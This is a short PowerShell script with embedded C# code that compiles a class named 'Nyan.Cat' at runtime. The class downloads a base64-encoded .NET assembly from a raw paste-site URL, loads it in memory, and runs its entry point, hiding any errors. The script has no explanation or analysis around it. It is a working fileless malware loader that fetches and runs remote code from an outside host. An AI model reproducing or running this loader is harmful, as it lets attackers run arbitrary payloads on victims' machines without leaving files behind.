$code = @" using System.Net; using System.Reflection; using System; using System.Threading; namespace Nyan { public class Cat { public void Run() { using (WebClient wc = new WebClient()) { new Thread(() => { try { Assembly assembly = AppDomain.CurrentDomain.Load(Convert.FromBase64String(wc.DownloadString("https://textbin.net/raw/zniamry9uo"))); MethodInfo methodInfo = assembly.EntryPoint; object obj = assembly.CreateInstance(methodInfo.Name); object[] parameters = new object[1]; // C# if (methodInfo.GetParameters().Length == 0) { parameters = null; // VB.NET } methodInfo.Invoke(obj, parameters); } catch { return; } }) { IsBackground = false }.Start(); } } } } "@ Add-Type -TypeDefinition $code; $instance = New-Object Nyan.Cat; $instance.Run();